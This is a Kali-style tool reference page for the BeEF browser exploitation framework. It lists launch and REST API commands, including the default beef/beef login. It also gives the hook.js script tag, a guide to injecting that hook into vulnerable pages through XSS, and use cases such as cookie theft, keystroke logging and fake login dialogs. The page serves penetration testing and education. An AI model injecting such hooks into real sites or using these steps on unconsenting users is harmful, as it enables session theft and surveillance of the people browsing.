GO KALI FREE

BeEF Execution Flow

Exploitation

Intermediatehigh risk

The standardized sequence for initializing the Browser Exploitation Framework (BeEF), serving the hook script, and managing hooked targets within a controlled testing environment.

Installation

sudo apt install beef-xss

Basic Syntax

beef-xss

Quick Facts

Full Name
Browser Exploitation Framework
License
Apache 2.0
Language
Ruby / JavaScript
Interface
Web UI
Category
Browser Exploitation
Requires
XSS Vulnerability

Tool Overview

BeEF (Browser Exploitation Framework) is a powerful penetration testing tool that focuses on exploiting client-side vulnerabilities through web browsers. It uses a persistent JavaScript hook to maintain control over target browsers.

Once a browser is hooked, BeEF provides a comprehensive command and control interface for executing modules, from simple recon to advanced exploitation, making it the standard tool for browser security assessment.

Common Commands

sudo beef-xssStart the BeEF framework and web UI from the Kali package (defaults to http://127.0.0.1:3000/ui/panel).
cd /usr/share/beef-xss && ./beefLaunch BeEF directly from its install directory.
./beef -c config.yamlStart BeEF with an explicit configuration file.
./beef -xReset the BeEF database on startup for a clean session.
./beef -vRun BeEF in verbose mode for detailed logging.
curl http://127.0.0.1:3000/hook.jsRetrieve the BeEF hook script that must be loaded by a target browser.
<script src="http://127.0.0.1:3000/hook.js"></script>The hook snippet embedded in a test page to enrol a browser as a zombie.
http://127.0.0.1:3000/ui/panelOpen the BeEF administrative panel in your browser.
http://127.0.0.1:3000/demos/butcher/index.htmlOpen the bundled demo page to hook your own test browser.
curl -X POST -H 'Content-Type: application/json' -d '{"username":"beef","password":"beef"}' http://127.0.0.1:3000/api/admin/loginAuthenticate to the BeEF REST API and receive a session token.
curl http://127.0.0.1:3000/api/hooks?token=<TOKEN>List currently hooked browsers via the REST API.
curl http://127.0.0.1:3000/api/modules?token=<TOKEN>Enumerate available command modules via the REST API.
nano config.yamlEdit the main configuration (credentials, host, port, restrictions).
sudo systemctl start beef-xssStart BeEF as a service on Kali.
cat /usr/share/beef-xss/beef_default.dbInspect the on-disk SQLite database that stores hooked-browser state.

Step-by-Step Guide

  1. 1Launch the framework daemon by running beef-xss
  2. 2Open your browser and navigate to the local management console
  3. 3Copy the generated JavaScript hook URL
  4. 4Inject the hook into a vulnerable webpage using Cross-Site Scripting
  5. 5Return to the console to issue commands to compromised browsers

Use Cases

Browser Reconnaissance

Gather detailed info about the hooked browser.

Cookie Theft

Extract cookies from hooked browsers.

Keystroke Logging

Capture user keystrokes in real-time.

Social Engineering

Deploy fake login dialogs and alerts.

Key Features

Related Tools

Metasploit

Exploitation

Full exploitation framework.

SET

Social Engineering

Social engineering toolkit.

Frequently Asked Questions

What is BeEF used for?

BeEF (Browser Exploitation Framework) is used for testing browser security through XSS vulnerabilities. It allows security researchers to assess the security posture of web browsers and client-side attack surfaces.

How does BeEF hook browsers?

BeEF hooks browsers by injecting a JavaScript payload (hook.js) into web pages. When a victim's browser loads the injected page, it executes the hook script and establishes a persistent connection back to the BeEF server.

Do I need metasploit for BeEF?

No, BeEF can operate standalone, but it integrates with Metasploit for advanced exploitation capabilities like browser privilege escalation and system compromise.

What commands can BeEF execute?

BeEF can execute a wide range of commands including browser recon, cookie theft, keystroke logging, clipboard access, social engineering attacks, and browser exploit modules.

Tags

#exploitation#browser-exploitation#web-security#xss-validation

Ethical Usage Notice

This tool is designed for authorized security testing, educational purposes, and legitimate network administration only. Unauthorized access to computer systems is illegal.